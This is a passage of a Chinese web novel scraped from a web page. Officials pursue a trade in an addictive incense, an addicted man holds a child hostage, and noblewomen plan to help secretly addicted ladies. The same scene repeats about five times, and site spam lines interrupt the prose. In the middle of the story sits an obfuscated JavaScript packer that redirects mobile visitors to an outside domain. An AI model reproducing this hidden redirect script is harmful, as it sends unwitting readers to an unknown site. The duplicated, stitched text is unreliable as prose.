岚舒连忙举起双手:“阁主,该交代的我都交代了,刚刚我也都是按照阁主的吩咐跟王爷说了,阁主留着我还有用,这剑能不能先收起来?” “不能,我不信你。” ** 连着几日,沈清渊忙着查案连家都没时间回,不少人为了打探消息,纷纷找上春喜。 春喜索性叫人关闭府门,安心养胎。 这日她正陪着安安玩,阿鲤突然来报:“夫人,不好了,沈二少爷在门口撞柱了。” 沈清越? 春喜把安安交给李嬷嬷,一边跟着阿鲤往外走一边问:“人**吗?好端端的他为什么要撞柱?” “人没死,但撞得挺狠的,人已经送回春堂去了,他就是嚷嚷着要见夫人,门房说夫人最近不见客,然后他就一头撞在柱子上了,小人也不知道为什么。” “……” 春喜无语,叫上几个护院,坐上马车赶去回春堂。 她到时,沈清越已经醒了,他果然撞得头破血流,却没有半点虚弱,反而不知从哪儿拿了一把铁锥,挟持了一个小孩儿,正在大声嚷嚷。 “我要见曹春喜,快让曹春喜来见我!” 春喜越过人群上前:“我来了,二弟有什么事可以说了。” 春喜已经看出沈清越有些癫狂,但没想到他接下来说的话更疯:“给我醒神香,我要十斤醒神香!” 王面前。 “小人见过王爷……” 不等岚舒行礼,瑛王急切道:“沈清渊把太傅府的人都带走了,你可探听到什么消息?” “诶?有这事?”岚舒露出惊讶之色,在瑛王瞪过来时,立刻道,“听说太傅府四公子去了沈府**,不仅要抢孩子,还要让人杀了沈夫人,沈大人应该是为了给沈夫人出气吧。” 瑛王听得冷笑:“曹春喜屁事没有,沈清渊就算要给她出气,也没有理由把整个太傅府的人都带走,你的猪脑子能不能想点儿事?” 岚舒并不在意被骂,想了想道:“沈大人在京兆府查案多年,说不定掌握了太傅府一些把柄,这次正好清算,宝华郡主虽然因为销魂香**,但无忧阁背后真正的主人是太子殿下,沈大人难道敢查太子殿下?” 听到太子的名号,瑛王安心了些。 是了,无忧阁背后是太子,就算因为宝华郡主的死,查到销魂香,也没人敢继续追查下去。 见瑛王的脸色缓和,岚舒继续道:“其实小人觉得,这次太傅府出事对王爷来说是好事。” 瑛王掀眸睨着岚舒,示意他继续说下去。 岚舒索性坐到瑛王对面:“李大人他们分明有法子制出更多的香,却藏着掖着不让王爷知道,如今老天有眼,让整个太傅府都遭了难,王爷正好可以趁机让他们交出香料的种植方法和制作技艺,这样以后赚的钱不都是王爷一个人的吗?” 这话说到瑛王心坎儿上了。 他的母妃只是寻常秀女出身,娘家并无依靠,他虽被封了亲王,但实际上就是个闲散王爷,家底远没有恒阳公主丰厚,若不自己找路子赚钱,只怕过得还没有世家大族的少爷好。 这销魂香是能让人飘飘欲仙的好东西,一旦用上就不想断,说是聚宝盆也不为过。 瑛王跟李怀景合作,拿的是大头,但谁会嫌钱多呢? 而且岚舒说得对,李怀景撒谎在先,那就怪不得瑛王不仁义。 瑛王若有所思,片刻后开口:“你先回无忧阁继续盯着,有任何风吹草动第一时间来报。” “是,”岚舒飞快应声,而后提醒,“第二批货也快卖完了,王爷要早做决断才行啊。” 说完这句话,岚舒离开。 出了王府,一上马车,萧夜辰的剑又抵上岚舒的脖子。 岚舒连忙举起双手:“阁主,该交代的我都交代了,刚刚我也都是按照阁主的吩咐跟王爷说了,阁主留着我还有用,这剑能不能先收起来?” “不能,我不信你。” ** 连着几日,沈清渊忙着查案连家都没时间回,不少人为了打探消息,纷纷找上春喜。 春喜索性叫人关闭府门,安心养胎。 这日她正陪着安安玩,阿鲤突然来报:“夫人,不好了,沈二少爷在门口撞柱了。” 沈清越? 春喜把安安交给李嬷嬷,一边跟着阿鲤往外走一边问:“人**吗?好端端的他为什么要撞柱?” “人没死,但撞得挺狠的,人已经送回春堂去了,他就是嚷嚷着要见夫人,门房说夫人最近不见客,然后他就一头撞在柱子上了,小人也不知道为什么。” “……” 春喜无语,叫上几个护院,坐上马车赶去回春堂。 她到时,沈清越已经醒了,他果然撞得头破血流,却没有半点虚弱,反而不知从哪儿拿了一把铁锥,挟持了一个小孩儿,正在大声嚷嚷。 “我要见曹春喜,快让曹春喜来见我!” 春喜越过人群上前:“我来了,二弟有什么事可以说了。” 春喜已经看出沈清越有些癫狂,但没想到他接下来说的话更疯:“给我醒神香,我要十斤醒神香!” 王面前。 “小人见过王爷……” 不等岚舒行礼,瑛王急切道:“沈清渊把太傅府的人都带走了,你可探听到什么消息?” “诶?有这事?”岚舒露出惊讶之色,在瑛王瞪过来时,立刻道,“听说太傅府四公子去了沈府**,不仅要抢孩子,还要让人杀了沈夫人,沈大人应该是为了给沈夫人出气吧。” 瑛王听得冷笑:“曹春喜屁事没有,沈清渊就算要给她出气,也没有理由把整个太傅府的人都带走,你的猪脑子能不能想点儿事?” 岚舒并不在意被骂,想了想道:“沈大人在京兆府查案多年,说不定掌握了太傅府一些把柄,这次正好清算,宝华郡主虽然因为销魂香**,但无忧阁背后真正的主人是太子殿下,沈大人难道敢查太子殿下?” 听到太子的名号,瑛王安心了些。 是了,无忧阁背后是太子,就算因为宝华郡主的死,查到销魂香,也没人敢继续追查下去。 见瑛王的脸色缓和,岚舒继续道:“其实小人觉得,这次太傅府出事对王爷来说是好事。” 瑛王掀眸睨着岚舒,示意他继续说下去。 岚舒索性坐到瑛王对面:“李大人他们分明有法子制出更多的香,却藏着掖着不让王爷知道,如今老天有眼,让整个太傅府都遭了难,王爷正好可以趁机让他们交出香料的种植方法和制作技艺,这样以后赚的钱不都是王爷一个人的吗?” 这话说到瑛王心坎儿上了。 他的母妃只是寻常秀女出身,娘家并无依靠,他虽被封了亲王,但实际上就是个闲散王爷,家底远没有恒阳公主丰厚,若不自己找路子赚钱,只怕过得还没有世家大族的少爷好。 这销魂香是能让人飘飘欲仙的好东西,一旦用上就不想断,说是聚宝盆也不为过。 瑛王跟李怀景合作,拿的是大头,但谁会嫌钱多呢? 而且岚舒说得对,李怀景撒谎在先,那就怪不得瑛王不仁义。 瑛王若有所思,片刻后开口:“你先回无忧阁继续盯着,有任何风吹草动第一时间来报。” “是,”岚舒飞快应声,而后提醒,“第二批货也快卖完了,王爷要早做决断才行啊。” 说完这句话,岚舒离开。 出了王府,一上马车,萧夜辰的剑又抵上岚舒的脖子。 岚舒连忙举起双手:“阁主,该交代的我都交代了,刚刚我也都是按照阁主的吩咐跟王爷说了,阁主留着我还有用,这剑能不能先收起来?” “不能,我不信你。” ** 连着几日,沈清渊忙着查案连家都没时间回,不少人为了打探消息,纷纷找上春喜。 春喜索性叫人关闭府门,安心养胎。 这日她正陪着安安玩,阿鲤突然来报:“夫人,不好了,沈二少爷在门口撞柱了。” 沈清越? 春喜把安安交给李嬷嬷,一边跟着阿鲤往外走一边问:“人**吗?好端端的他为什么要撞柱?” “人没死,但撞得挺狠的,人已经送回春堂去了,他就是嚷嚷着要见夫人,门房说夫人最近不见客,然后他就一头撞在柱子上了,小人也不知道为什么。” “……” 春喜无语,叫上几个护院,坐上马车赶去回春堂。 她到时,沈清越已经醒了,他果然撞得头破血流,却没有半点虚弱,反而不知从哪儿拿了一把铁锥,挟持了一个小孩儿,正在大声嚷嚷。 “我要见曹春喜,快让曹春喜来见我!” 春喜越过人群上前:“我来了,二弟有什么事可以说了。” 春喜已经看出沈清越有些癫狂,但没想到他接下来说的话更疯:“给我醒神香,我要十斤醒神香!” 王面前。 “小人见过王爷……” 不等岚舒行礼,瑛王急切道:“沈清渊把太傅府的人都带走了,你可探听到什么消息?” “诶?有这事?”岚舒露出惊讶之色,在瑛王瞪过来时,立刻道,“听说太傅府四公子去了沈府**,不仅要抢孩子,还要让人杀了沈夫人,沈大人应该是为了给沈夫人出气吧。” 瑛王听得冷笑:“曹春喜屁事没有,沈清渊就算要给她出气,也没有理由把整个太傅府的人都带走,你的猪脑子能不能想点儿事?” 岚舒并不在意被骂,想了想道:“沈大人在京兆府查案多年,说不定掌握了太傅府一些把柄,这次正好清算,宝华郡主虽然因为销魂香**,但无忧阁背后真正的主人是太子殿下,沈大人难道敢查太子殿下?” 听到太子的名号,瑛王安心了些。 是了,无忧阁背后是太子,就算因为宝华郡主的死,查到销魂香,也没人敢继续追查下去。 见瑛王的脸色缓和,岚舒继续道:“其实小人觉得,这次太傅府出事对王爷来说是好事。” 瑛王掀眸睨着岚舒,示意他继续说下去。 岚舒索性坐到瑛王对面:“李大人他们分明有法子制出更多的香,却藏着掖着不让王爷知道,如今老天有眼,让整个太傅府都遭了难,王爷正好可以趁机让他们交出香料的种植方法和制作技艺,这样以后赚的钱不都是王爷一个人的吗?” 这话说到瑛王心坎儿上了。 他的母妃只是寻常秀女出身,娘家并无依靠,他虽被封了亲王,但实际上就是个闲散王爷,家底远没有恒阳公主丰厚,若不自己找路子赚钱,只怕过得还没有世家大族的少爷好。 这销魂香是能让人飘飘欲仙的好东西,一旦用上就不想断,说是聚宝盆也不为过。 瑛王跟李怀景合作,拿的是大头,但谁会嫌钱多呢? 而且岚舒说得对,李怀景撒谎在先,那就怪不得瑛王不仁义。 瑛王若有所思,片刻后开口:“你先回无忧阁继续盯着,有任何风吹草动第一时间来报。” “是,”岚舒飞快应声,而后提醒,“第二批货也快卖完了,王爷要早做决断才行啊。” 说完这句话,岚舒离开。 出了王府,一上马车,萧夜辰的剑又抵上岚舒的脖子。 岚舒连忙举起双手:“阁主,该交代的我都交代了,刚刚我也都是按照阁主的吩咐跟王爷说了,阁主留着我还有用,这剑能不能先收起来?” “不能,我不信你。” ** 连着几日,沈清渊忙着查案连家都没时间回,不少人为了打探消息,纷纷找上春喜。 春喜索性叫人关闭府门,安心养胎。 这日她正陪着安安玩,阿鲤突然来报:“夫人,不好了,沈二少爷在门口撞柱了。” 沈清越? 春喜把安安交给李嬷嬷,一边跟着阿鲤往外走一边问:“人**吗?好端端的他为什么要撞柱?” “人没死,但撞得挺狠的,人已经送回春堂去了,他就是嚷嚷着要见夫人,门房说夫人最近不见客,然后他就一头撞在柱子上了,小人也不知道为什么。” “……” 春喜无语,叫上几个护院,坐上马车赶去回春堂。 她到时,沈清越已经醒了,他果然撞得头破血流,却没有半点虚弱,反而不知从哪儿拿了一把铁锥,挟持了一个小孩儿,正在大声嚷嚷。 “我要见曹春喜,快让曹春喜来见我!” 春喜越过人群上前:“我来了,二弟有什么事可以说了。” 春喜已经看出沈清越有些癫狂,但没想到他接下来说的话更疯:“给我醒神香,我要十斤醒神香!” 王面前。 “小人见过王爷……” 不等岚舒行礼,瑛王急切道:“沈清渊把太傅府的人都带走了,你可探听到什么消息?” “诶?有这事?”岚舒露出惊讶之色,在瑛王瞪过来时,立刻道,“听说太傅府四公子去了沈府**,不仅要抢孩子,还要让人杀了沈夫人,沈大人应该是为了给沈夫人出气吧。” 瑛王听得冷笑:“曹春喜屁事没有,沈清渊就算要给她出气,也没有理由把整个太傅府的人都带走,你的猪脑子能不能想点儿事?” 岚舒并不在意被骂,想了想道:“沈大人在京兆府查案多年,说不定掌握了太傅府一些把柄,这次正好清算,宝华郡主虽然因为销魂香**,但无忧阁背后真正的主人是太子殿下,沈大人难道敢查太子殿下?” 听到太子的名号,瑛王安心了些。 是了,无忧阁背后是太子,就算因为宝华郡主的死,查到销魂香,也没人敢继续追查下去。 见瑛王的脸色缓和,岚舒继续道:“其实小人觉得,这次太傅府出事对王爷来说是好事。” 瑛王掀眸睨着岚舒,示意他继续说下去。 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岚舒索性坐到瑛王对面:“李大人他们分明有法子制出更多的香,却藏着掖着不让王爷知道,如今老天有眼,让整个太傅府都遭了难,王爷正好可以趁机让他们交出香料的种植方法和制作技艺,这样以后赚的钱不都是王爷一个人的吗?” 这话说到瑛王心坎儿上了。 他的母妃只是寻常秀女出身,娘家并无依靠,他虽被封了亲王,但实际上就是个闲散王爷,家底远没有恒阳公主丰厚,若不自己找路子赚钱,只怕过得还没有世家大族的少爷好。 这销魂香是能让人飘飘欲仙的好东西,一旦用上就不想断,说是聚宝盆也不为过。 瑛王跟李怀景合作,拿的是大头,但谁会嫌钱多呢? 而且岚舒说得对,李怀景撒谎在先,那就怪不得瑛王不仁义。 瑛王若有所思,片刻后开口:“你先回无忧阁继续盯着,有任何风吹草动第一时间来报。” “是,”岚舒飞快应声,而后提醒,“第二批货也快卖完了,王爷要早做决断才行啊。” 说完这句话,岚舒离开。 出了王府,一上马车,萧夜辰的剑又抵上岚舒的脖子。 岚舒连忙举起双手:“阁主,该交代的我都交代了,刚刚我也都是按照阁主的吩咐跟王爷说了,阁主留着我还有用,这剑能不能先收起来?” “不能,我不信你。” ** 连着几日,沈清渊忙着查案连家都没时间回,不少人为了打探消息,纷纷找上春喜。 春喜索性叫人关闭府门,安心养胎。 这日她正陪着安安玩,阿鲤突然来报:“夫人,不好了,沈二少爷在门口撞柱了。” 沈清越? 春喜把安安交给李嬷嬷,一边跟着阿鲤往外走一边问:“人**吗?好端端的他为什么要撞柱?” “人没死,但撞得挺狠的,人已经送回春堂去了,他就是嚷嚷着要见夫人,门房说夫人最近不见客,然后他就一头撞在柱子上了,小人也不知道为什么。” “……” 春喜无语,叫上几个护院,坐上马车赶去回春堂。 她到时,沈清越已经醒了,他果然撞得头破血流,却没有半点虚弱,反而不知从哪儿拿了一把铁锥,挟持了一个小孩儿,正在大声嚷嚷。 “我要见曹春喜,快让曹春喜来见我!” 春喜越过人群上前:“我来了,二弟有什么事可以说了。” 春喜已经看出沈清越有些癫狂,但没想到他接下来说的话更疯:“给我醒神香,我要十斤醒神香!” 王面前。 “小人见过王爷……” 不等岚舒行礼,瑛王急切道:“沈清渊把太傅府的人都带走了,你可探听到什么消息?” “诶?有这事?”岚舒露出惊讶之色,在瑛王瞪过来时,立刻道,“听说太傅府四公子去了沈府**,不仅要抢孩子,还要让人杀了沈夫人,沈大人应该是为了给沈夫人出气吧。” 瑛王听得冷笑:“曹春喜屁事没有,沈清渊就算要给她出气,也没有理由把整个太傅府的人都带走,你的猪脑子能不能想点儿事?” 岚舒并不在意被骂,想了想道:“沈大人在京兆府查案多年,说不定掌握了太傅府一些把柄,这次正好清算,宝华郡主虽然因为销魂香**,但无忧阁背后真正的主人是太子殿下,沈大人难道敢查太子殿下?” 听到太子的名号,瑛王安心了些。 是了,无忧阁背后是太子,就算因为宝华郡主的死,查到销魂香,也没人敢继续追查下去。 见瑛王的脸色缓和,岚舒继续道:“其实小人觉得,这次太傅府出事对王爷来说是好事。” 瑛王掀眸睨着岚舒,示意他继续说下去。 岚舒索性坐到瑛王对面:“李大人他们分明有法子制出更多的香,却藏着掖着不让王爷知道,如今老天有眼,让整个太傅府都遭了难,王爷正好可以趁机让他们交出香料的种植方法和制作技艺,这样以后赚的钱不都是王爷一个人的吗?” 这话说到瑛王心坎儿上了。 他的母妃只是寻常秀女出身,娘家并无依靠,他虽被封了亲王,但实际上就是个闲散王爷,家底远没有恒阳公主丰厚,若不自己找路子赚钱,只怕过得还没有世家大族的少爷好。 这销魂香是能让人飘飘欲仙的好东西,一旦用上就不想断,说是聚宝盆也不为过。 瑛王跟李怀景合作,拿的是大头,但谁会嫌钱多呢? 而且岚舒说得对,李怀景撒谎在先,那就怪不得瑛王不仁义。 瑛王若有所思,片刻后开口:“你先回无忧阁继续盯着,有任何风吹草动第一时间来报。” “是,”岚舒飞快应声,而后提醒,“第二批货也快卖完了,王爷要早做决断才行啊。” 说完这句话,岚舒离开。 出了王府,一上马车,萧夜辰的剑又抵上岚舒的脖子。 岚舒连忙举起双手:“阁主,该交代的我都交代了,刚刚我也都是按照阁主的吩咐跟王爷说了,阁主留着我还有用,这剑能不能先收起来?” “不能,我不信你。” ** 连着几日,沈清渊忙着查案连家都没时间回,不少人为了打探消息,纷纷找上春喜。 春喜索性叫人关闭府门,安心养胎。 这日她正陪着安安玩,阿鲤突然来报:“夫人,不好了,沈二少爷在门口撞柱了。” 沈清越? 春喜把安安交给李嬷嬷,一边跟着阿鲤往外走一边问:“人**吗?好端端的他为什么要撞柱?” “人没死,但撞得挺狠的,人已经送回春堂去了,他就是嚷嚷着要见夫人,门房说夫人最近不见客,然后他就一头撞在柱子上了,小人也不知道为什么。” “……” 春喜无语,叫上几个护院,坐上马车赶去回春堂。 她到时,沈清越已经醒了,他果然撞得头破血流,却没有半点虚弱,反而不知从哪儿拿了一把铁锥,挟持了一个小孩儿,正在大声嚷嚷。 “我要见曹春喜,快让曹春喜来见我!” 春喜越过人群上前:“我来了,二弟有什么事可以说了。” 春喜已经看出沈清越有些癫狂,但没想到他接下来说的话更疯:“给我醒神香,我要十斤醒神香!” 王面前。 “小人见过王爷……” 不等岚舒行礼,瑛王急切道:“沈清渊把太傅府的人都带走了,你可探听到什么消息?” “诶?有这事?”岚舒露出惊讶之色,在瑛王瞪过来时,立刻道,“听说太傅府四公子去了沈府**,不仅要抢孩子,还要让人杀了沈夫人,沈大人应该是为了给沈夫人出气吧。” 瑛王听得冷笑:“曹春喜屁事没有,沈清渊就算要给她出气,也没有理由把整个太傅府的人都带走,你的猪脑子能不能想点儿事?” 岚舒并不在意被骂,想了想道:“沈大人在京兆府查案多年,说不定掌握了太傅府一些把柄,这次正好清算,宝华郡主虽然因为销魂香**,但无忧阁背后真正的主人是太子殿下,沈大人难道敢查太子殿下?” 听到太子的名号,瑛王安心了些。 是了,无忧阁背后是太子,就算因为宝华郡主的死,查到销魂香,也没人敢继续追查下去。 见瑛王的脸色缓和,岚舒继续道:“其实小人觉得,这次太傅府出事对王爷来说是好事。” 瑛王掀眸睨着岚舒,示意他继续说下去。 岚舒索性坐到瑛王对面:“李大人他们分明有法子制出更多的香,却藏着掖着不让王爷知道,如今老天有眼,让整个太傅府都遭了难,王爷正好可以趁机让他们交出香料的种植方法和制作技艺,这样以后赚的钱不都是王爷一个人的吗?” 这话说到瑛王心坎儿上了。 他的母妃只是寻常秀女出身,娘家并无依靠,他虽被封了亲王,但实际上就是个闲散王爷,家底远没有恒阳公主丰厚,若不自己找路子赚钱,只怕过得还没有世家大族的少爷好。 这销魂香是能让人飘飘欲仙的好东西,一旦用上就不想断,说是聚宝盆也不为过。 瑛王跟李怀景合作,拿的是大头,但谁会嫌钱多呢? 而且岚舒说得对,李怀景撒谎在先,那就怪不得瑛王不仁义。 瑛王若有所思,片刻后开口:“你先回无忧阁继续盯着,有任何风吹草动第一时间来报。” “是,”岚舒飞快应声,而后提醒,“第二批货也快卖完了,王爷要早做决断才行啊。” 说完这句话,岚舒离开。 出了王府,一上马车,萧夜辰的剑又抵上岚舒的脖子。 岚舒连忙举起双手:“阁主,该交代的我都交代了,刚刚我也都是按照阁主的吩咐跟王爷说了,阁主留着我还有用,这剑能不能先收起来?” “不能,我不信你。” ** 连着几日,沈清渊忙着查案连家都没时间回,不少人为了打探消息,纷纷找上春喜。 春喜索性叫人关闭府门,安心养胎。 这日她正陪着安安玩,阿鲤突然来报:“夫人,不好了,沈二少爷在门口撞柱了。” 沈清越? 春喜把安安交给李嬷嬷,一边跟着阿鲤往外走一边问:“人**吗?好端端的他为什么要撞柱?” “人没死,但撞得挺狠的,人已经送回春堂去了,他就是嚷嚷着要见夫人,门房说夫人最近不见客,然后他就一头撞在柱子上了,小人也不知道为什么。” “……” 春喜无语,叫上几个护院,坐上马车赶去回春堂。 她到时,沈清越已经醒了,他果然撞得头破血流,却没有半点虚弱,反而不知从哪儿拿了一把铁锥,挟持了一个小孩儿,正在大声嚷嚷。 “我要见曹春喜,快让曹春喜来见我!” 春喜越过人群上前:“我来了,二弟有什么事可以说了。” 春喜已经看出沈清越有些癫狂,但没想到他接下来说的话更疯:“给我醒神香,我要十斤醒神香!” 第311章 我想为夫君分忧 小孩儿被吓得哇哇大哭春喜毫不犹豫地答应:“好我给你十斤醒神香。” 沈清越虽然陷入了癫狂之中但还是觉得春喜答应得太快有些不可信。 他急急追问:“你准备去哪儿拿十斤醒神香?” “自然是去凝香阁拿人命关天我多花些钱掌柜定是愿意卖给我的。” 春喜说着从腰间取下一串钥匙扭头递给阿鲤而后扬声吩咐:“赶快回去开府库取钱不管凝香阁的掌柜开价多少都要把十斤销魂香给二少爷买来。” 春喜挑眉给阿鲤递了个眼神阿鲤反应过来连忙应声:“是夫人小人这就去买香。” 阿鲤拿着钥匙一溜烟地跑走春喜让回春堂的伙计帮忙搬了把椅子来坐下慢慢等。 约莫半个时辰后阿鲤才提着一个麻袋回来他累得直喘气擦了擦汗大声道:“二少爷你要的十斤香买来了。” 沈清越的眸子陡然亮起像是饥肠辘辘的野兽看到了肥美的肉。 春喜直接命令:“阿鲤把香点燃给二少爷验验。” “是。” 阿鲤麻溜地从怀里掏出香炉准备点香沈清越再也克制不住拽着小孩儿扑过来催促阿鲤:“快点!” 沈清越的注意力都在香上丝毫没有注意到春喜带来的护院绕到了他身后。 在沈清越说出那句话时护院飞快出手将他劈晕五花大绑起来。 春喜安抚了那小孩儿几句给了他父母一些钱作为补偿又向回春堂其他人道了歉正要离开这时人群中又冲出来一个人朝着她跪下砰砰磕头:“夫人求你卖一点儿醒神香给我吧我真的太难受了我这里有钱我可以把钱都给你!” 那人边说边取下钱袋要跪着爬到春喜面前。 春喜往后退了两步示意护院把这人也打晕带走。 回到家阿鲤用冷水把两人泼醒。 两人的眼神有些迷茫在看到春喜后很快想起昏迷前发生了什么。 沈清越率先嚷嚷起来:“醒神香呢?曹春喜你不是答应给我十斤醒神香吗?快给我!” 另外一人也跟着叫嚷:“给我醒神香快给我!” 两人额头青筋鼓胀眼球布满血丝毫无理智和体面可言满脑子只剩下醒神香若不是被五花大绑着只怕是要扑上来生吃了春喜。 春喜没有应声 两人叫嚣了一会儿便承受不住地微微抽搐蜷缩在地痛哭流涕 听说看这本书的人都是很幸运的,分享后你的运气会更棒 沈清越更是又用脑袋撞起地来。 怕两人咬到舌头,春喜让人给他们嘴里塞了东西。 不知折腾了多久,两人终于失去力气,目光呆滞地瘫软在地。 春喜让阿鲤去大理寺给沈清渊报了信,傍晚,沈清渊抽空回了趟家。 春喜带他去见了沈清越和那个书生。 两人初用醒神香皆是精神亢奋,文思如泉涌,顿时把醒神香当成能助自己飞速提升的好东西,不惜花高价买了好些囤着用,如今李继贤被抓,这醒神香断了货,他们才发现上了瘾,发作起来痛苦无比。 沈清渊跟他们解释了醒神香的危害,两人却还是着了魔一般,哭着求着让沈清渊再给他们一点儿香。 出了房间,春喜低声道:“今天沈清越为了找我要醒神香,先是在门口撞柱,后又在回春堂挟持了一个孩子,以后还不知道会干出什么样的事来,太医院可研制出解毒之法了?” 沈清渊摇头。 萧夜辰从翁州带回了忘忧草,太子也找了宫里最好的制香师和御医一起研究,但眼下还没有发现任何能抑制瘾发的药物。 春喜的心沉了沉。 凝香阁卖了好几十斤的醒神香出去,不知还有多少人像沈清越他们一样,一旦瘾发,理智全无,不知道会干出什么样的事来。 沈清渊也想到了这点,他严肃道:“明日我会跟陛下提议,让朝廷设立专门的地方,把这些染上瘾的人集中看押起来,以免他们出去伤人,太医院若是研制出解药,也可在他们身上试试效果。” 春喜点点头,面色仍是凝重,沈清渊关切地问:“怎么了?” 春喜抿了抿唇,片刻后说:“我只是在想那些从无忧阁买了销魂香的世家夫人该怎么办。” 这醒神香是打着能催人奋进的名号卖的,买的多数是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16225141|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男子,且人数众多,就算传出去也不会有什么。 可无忧阁本来就是个禁忌的地方,那些世家夫人去找小倌玩乐都得藏着掖着,若是承认自己染上了销魂香,岂不是要被唾沫星子淹死? 宝华郡主已经因为销魂香**,而且死后身败名裂,同样被销魂香荼毒的人现在该有多惶恐绝望? 沈清渊有些意外:“夫人想帮她们?” 春喜抬头,眸子晶亮地看着沈清渊,“这香害人不浅,我既是帮她们也是为夫君分忧,而且日后再不会有人敢轻视我,说不定还能立功,让皇后娘娘再高看我一些呢。” 这几日忙着审讯,沈清渊感觉整个人都浸在了血腥之中,这会儿看到春 听说看这本书的人都是很幸运的,分享后你的运气会更棒 喜,他又感受到了温暖和美好。 他伸手抱住春喜,吻了吻她的发窝,沉声道:“夫人说的是,夫人想做什么尽管去做,只是记得莫要逞强,要多想想自己和孩子,不要太过劳累。” 春喜弯眸,轻快道:“夫君放心,我会把握好分寸的。” 有了沈清渊的支持,第二日春喜就约上萧清禾去了公主府找恒阳公主一起商议。 一见面,恒阳公主就忍不住娇嗔地看着萧清禾:“还是阿喜面子大,本公主的生辰宴禾儿都不肯给面子来参加呢。” 萧清禾连忙解释:“臣女刚刚和离,怕贸然现身招惹是非反而给公主添堵,所以才没来,并非不给公主面子。” 虽说萧家人都支持萧清禾和离,但外人免不了说闲话。 恒阳公主哼了一声:“嘴长在别人身上,你管她们说什么呢,本公主反正是不在意这些的。” 萧清禾弯眸:“公主殿下睿智高雅,岂是旁人能比的。” 恒阳公主挑眉,偏头看向春喜:“我怎么觉得禾儿跟阿喜学得油嘴滑舌了?” 春喜露出伤心的表情,用绢帕擦了擦眼角:“原来臣妇在公主心里的形象竟是如此不堪吗?” 春喜的表情和语气很夸张,恒阳公主和萧清禾都被逗乐。 等两人笑够了,春喜才切入正题。 第312章 可以办个女子学堂 春喜先说了销魂香的危害,然后把自己的想法简单说了下。 她刚说完,恒阳公主便高兴道:“好啊,我就知道阿喜你心怀大义,和那些装模作样的世家夫人不一样,这样一来,本公主也算是为皇兄做了一件大好事。” 恒阳公主的爽快让春喜有些意外,春喜忍不住问:“要是她们之中有与公主不对付的,公主也还是愿意帮她们吗?” “这有什么不愿意的,她们去了无忧阁,还染上那劳什子的销魂香,以后只有本公主笑话她们的份。” 恒阳公主语气轻快,不仅没有芥蒂,反而充满期待。 春喜被恒阳公主感染,弯了弯眸。 是啊,公主殿下一直都是很好的人,不然也不会愿意和她交朋友。 萧清禾也点头道:“男子可以正大光明地出入烟花之地,这些夫人为了排解寂寞去无忧阁也是人之常情,她们并未触犯律法,不该被人用销魂香毁掉。” 萧清禾声音虽柔,态度却很坚定,恒阳公主眼底闪过惊喜:“禾儿,看来你早就该和离了,你现在说话都比以前有趣多了!” 萧清禾想起自己以前的循规蹈矩,恍如隔世,她有些不好意思的笑笑:“因为公主和小婶婶是很有趣的人,跟你们待在一起久了,所以我也变有趣了一点。” 春喜不赞同道:“应该是禾儿本来就有趣,只是之前没有人发现而已。” “阿喜说得对,”恒阳公主说着激动地站起来,“就让咱们三个有趣的人一起干一番名垂青史的大事吧!” 萧清禾眨眨眼,问:“公主想好怎么干了吗?” 恒阳公主毫不犹豫地看向春喜,春喜先泼了恒阳公主一盆冷水:“这些世家夫人应该有各种各样的苦衷,不会愿意让人知道自己去过无忧阁,若要让她们信任我们,就必须帮她们保守这个秘密,这件事恐怕不能让公主名垂青史。” 恒阳公主满不在乎:“无妨,就算不大肆宣扬,事成之后本公主也可以去找母后和皇嫂邀功,让史官给咱们记上一笔,咱们做了好事,那就得留名。” 这倒也是。 春喜没有说什么不图名利的话,先谢过恒阳公主,然后说出自己的计划:“这些世家夫人不愿意暴露自己,要想把她们集中起来,还不被人怀疑,首先得有一个合理的理由,我想公主府再办一场宴会,瀚京的世家夫人都请过来,到时可以先观察她们有没有上瘾的情况。” 恒阳公主喜欢热闹,公主府办宴会对那些世家夫人已是家常便饭,并不会有人觉得奇 怪。 恒阳公主当即点头:“好啊,正好入了夏,公主府的荷花就要开了,我可以邀请大家来赏荷。” 恒阳公主说着就要让人去准备请帖,萧清禾柔声道:“宴会只有一场,若是有人感觉到要发作,提前离席也不能把人拦住,就算咱们看出有人不对劲,也不能挨个上门去找,最好还是让她们主动来找我们。” 春喜也知道自己的想法不够周全,被萧清禾指出来后,她没有觉得丢脸,高兴地追问:“禾儿有什么好想法?” 被春喜的眼神鼓舞,萧清禾继续道:“我觉得公主可以说自己做了胎梦,预感自己要生女儿,准备提前在公主府设立一个女子学堂,为腹中孩子挑选一些女先生,这些女先生日后可以被特封为女官,这个消息一传出去,必然有很多人强迫脑袋想见公主,这样不仅可以慢慢观察,甚至可以让她们暂时住在公主府。” 春喜高兴地抓住萧清禾的手:“禾儿,你好聪明啊,这个法子实在是太好了!” 恒阳公主忍不住感叹:“卫凌泽没有好好珍惜你,真是瞎了眼了。” 萧清禾早已释怀,听到卫凌泽的名字也没什么波动,只弯眸淡淡地笑了一下。 与此同时,大理寺天牢里。 卫凌泽从梦中醒来。 他又梦到了禾儿。 这一次的梦不大好,他梦到那日在书房,他不顾禾儿的意愿强行把她压在书桌上,禾儿流了很多的血,最终在他身下,死不瞑目。 梦境并不真实,但最后禾儿死死瞪着他的那双眼睛却在脑海挥之不去,刺得卫凌泽的脑仁儿一阵阵发疼。 卫凌泽抬手揉了揉额头,这时耳边传来哗啦的铁链声。 偏头,牢门打开,沈清渊走了进来。 直到这时,卫凌泽这才清醒过来。 他没在家里,而是和太傅府的人一起被沈清渊带进了大理寺。 不过沈清渊没有急着审问他,只是把他关在这里。 大理寺的牢房昏暗潮湿,不见天日,**自己在这里待了多久,只记得销魂香的瘾又发作了一次。 他很难受,生不如死,但为了不让沈清渊看到,他咬着牙死死忍着,后来就晕**过去。 随着意识回笼,那种像是附在骨头里的难受也跟着回来,四肢虚软的厉害,胃里更是一阵阵恶心反胃。 卫凌泽分不清这恶心是因为难受,还是因为如此狼狈不堪的自己。 尤其是现在,沈清渊穿着一身官服高高在上地站在他面前,而他是连靠自己站起来都做不到的阶下囚。 